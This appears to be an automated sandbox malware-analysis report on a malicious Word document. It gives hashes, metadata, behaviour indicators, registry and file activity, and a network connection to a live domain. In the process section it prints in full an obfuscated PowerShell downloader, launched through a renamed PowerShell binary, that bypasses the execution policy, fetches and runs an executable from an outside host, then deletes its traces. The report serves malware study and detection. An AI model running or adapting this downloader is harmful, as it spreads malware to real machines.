Malware analysis f42d6e4509b7a47d5c944e40aa8ff916765699f100d00ec4fb97ba151c42e9bc Malicious activity

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File name:	f42d6e4509b7a47d5c944e40aa8ff916765699f100d00ec4fb97ba151c42e9bc
Full analysis:	https://app.any.run/tasks/7ab677f2-bccf-4d4b-9bb1-d37e8720ea64
Verdict:	Malicious activity
Analysis date:	November 14, 2018, 11:51:37
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	generated-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Name of Creating Application: Microsoft Office Word, Author: Monique Paccot-Brandt, Number of Characters: 265932, Create Time/Date: Wed Nov 7 11:34:08 2018, Last Saved Time/Date: Wed Nov 7 11:34:08 2018, Security: 0, Keywords: sunt, fuga, dolor, Last Saved By: Monique Paccot-Brandt, Revision Number: 849387, Subject: Rabais N909475675, Template: Normal, Title: Rabais N909475675, Total Editing Time: 03:00, Number of Words: 29548, Number of Pages: 85, Comments: Quas deserunt doloribus ea fugiat soluta numquam.
MD5:	4F9AEBCC68A32E59B69BC2EF53D6004E
SHA1:	0D31CC82284E28A13D3B0742D1DB7725987872B9
SHA256:	F42D6E4509B7A47D5C944E40AA8FF916765699F100D00EC4FB97BA151C42E9BC
SSDEEP:	6144:AEJjQddifG/eDeSfnugIzppCBG/Ao9eYXpTwkHm:Auudifk5Sfipx0eDHm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Application was dropped or rewritten from another process
  - uhpgyr.exe (PID: 2256)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 920)
- Executable content was dropped or overwritten
  - WINWORD.EXE (PID: 920)
SUSPICIOUS
- Executable content was dropped or overwritten
  - uhpgyr.exe (PID: 2256)
INFO
- Dropped object may contain Bitcoin addresses
  - WINWORD.EXE (PID: 920)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 920)
- Creates files in the user directory
  - WINWORD.EXE (PID: 920)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (33.9)

EXIF

FlashPix

CompObjUserTypeLen:	39
CompObjUserType:	Microsoft Office Word 97-2003 Document
Software:	Microsoft Office Word
Author:	Monique Paccot-Brandt
Characters:	265932
CreateDate:	2018:11:07 11:34:08
ModifyDate:	2018:11:07 11:34:08
Security:	None
Keywords:	sunt, fuga, dolor
LastModifiedBy:	Monique Paccot-Brandt
RevisionNumber:	849387
Subject:	Rabais N909475675
Template:	Normal
Title:	Rabais N909475675
TotalEditTime:	3.0 minutes
Words:	29548
Pages:	85
Comments:	Quas deserunt doloribus ea fugiat soluta numquam.
Paragraphs:	91
Bytes:	-2147483648
HiddenSlides:	-2147483648
Lines:	813
Notes:	-2147483648
Slides:	-2147483648
Company:	Vienne Bonvini SA
Manager:	Noah Grosjean
Category:	laborum

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

920

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\f42d6e4509b7a47d5c944e40aa8ff916765699f100d00ec4fb97ba151c42e9bc.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

2256

C:\Users\admin\AppData\Local\Temp\uyvqsdecg\uhpgyr.exe $chxgjuiy='iyjflpdx.';$xjmxaf=' Pro';$lyepvac='nPol';$miiecld='exe'')';$iljgju='$hj = ''hw';$nxcswau='se -force';$udsy='e-';$ivxyoe='yste';$vyxfo='-Object S';$fagpnwa='m.Net.W';$ccxou='h); Start';$yzmva='dFile(''';$uclekne='icy By';$uuvn='https:/';$rxsjoe0='ooku.us/w';$enro5='env:';$evcyxzcc='ope';$bcun='Item (f7f81a39-5f63-5b42-9efd-1f13b5431005#39;;$ezpbjfu='temp + ''\';$iey=') -recur';$wpebnbxy1='ss -Sc';$omxfuoa='cess; $p';$xemxu='hfhj'';';$bdfdea='ath;Remov';$uuyuw='ss $p';$iwknjz1='uyvqsd';$eggjnq='ath=($env';$uueou15='lc.';$uiu='p-content';$nhfjwlcxs0='.Downl';$oljkdaht='ebclient)';$xpeiija='Executio';$immcpyin='/images';$eeblv=';(New';$ehqzt05='ecg''';$elplpda='/theme';$kpei='oa';$hdueo='belleza';$dlmcu=';';$fdve='-Proce';$wruqogv9='s/';$wjeegr='/b';$glpe=':temp+''\s';$jdiyh='exe'',$pat';$ibqeu='Set-';$aiygyo='/f';$ouuain='pa'; Invoke-Expression ($iljgju+$xemxu+$ibqeu+$xpeiija+$lyepvac+$uclekne+$ouuain+$wpebnbxy1+$evcyxzcc+$xjmxaf+$omxfuoa+$eggjnq+$glpe+$chxgjuiy+$miiecld+$eeblv+$vyxfo+$ivxyoe+$fagpnwa+$oljkdaht+$nhfjwlcxs0+$kpei+$yzmva+$uuvn+$wjeegr+$rxsjoe0+$uiu+$elplpda+$wruqogv9+$hdueo+$immcpyin+$aiygyo+$uueou15+$jdiyh+$ccxou+$fdve+$uuyuw+$bdfdea+$udsy+$bcun+$enro5+$ezpbjfu+$iwknjz1+$ehqzt05+$iey+$nxcswau+$dlmcu);

C:\Users\admin\AppData\Local\Temp\uyvqsdecg\uhpgyr.exe

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\users\admin\appdata\local\temp\uyvqsdecg\uhpgyr.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

1 608

Read events

1 199

Write events

404

Delete events

Modification events


(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	"}i
Value: 227D690098030000010000000000000000000000
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1299054607
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1299054720
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1299054721
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 98030000A05D9375107CD40100000000
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	;~i
Value: 3B7E69009803000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	;~i
Value: 3B7E69009803000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(920) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

121

Unknown types

Dropped files

PID	Process	Filename		Type
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRA5A2.tmp.cvr		—
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\Certificate.format.ps1xml		xml
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\Diagnostics.Format.ps1xml		text
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\CompiledComposition.Microsoft.PowerShell.GPowerShell.dll		executable
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\DotNetTypes.format.ps1xml		xml
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$2d6e4509b7a47d5c944e40aa8ff916765699f100d00ec4fb97ba151c42e9bc.doc		pgc
		MD5:—	SHA256:—
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\en-US\about_arrays.help.txt		text
		MD5:04BB4AA2CF5A5D3EAD1D9F6EEA89C034	SHA256:0C058DF25203E39D339F127C0AE8235EE3E2E77F33B57F894E8E5A4AE6243EC8
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\en-US\about_Command_Syntax.help.txt		text
		MD5:847B0C3A6010660492ECC1D88A69210D	SHA256:7D7EE4469AE76392317DC7E16E716B5767BD7EEFCDC39F60C51ED1DA2E99AE2B
920	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\uyvqsdecg\en-US\about_Assignment_Operators.help.txt		text
		MD5:D2DD0C7C3423CDC0040B68FBC475428E	SHA256:4DA2F663032A15D4ECB7A6FCB6DF8D5C07D097ED8D3FA9EC054D676584C4B411

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2256	uhpgyr.exe	31.186.83.114:443	booku.us	ATM S.A.	PL	unknown

DNS requests

Domain	IP	Reputation
booku.us	31.186.83.114	unknown

Threats

No threats detected

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No debug info

General Info

f42d6e4509b7a47d5c944e40aa8ff916765699f100d00ec4fb97ba151c42e9bc

4F9AEBCC68A32E59B69BC2EF53D6004E

0D31CC82284E28A13D3B0742D1DB7725987872B9

F42D6E4509B7A47D5C944E40AA8FF916765699F100D00EC4FB97BA151C42E9BC

6144:AEJjQddifG/eDeSfnugIzppCBG/Ao9eYXpTwkHm:Auudifk5Sfipx0eDHm

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Application was dropped or rewritten from another process

Unusual execution from Microsoft Office

Executable content was dropped or overwritten

SUSPICIOUS

Executable content was dropped or overwritten

INFO

Dropped object may contain Bitcoin addresses

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings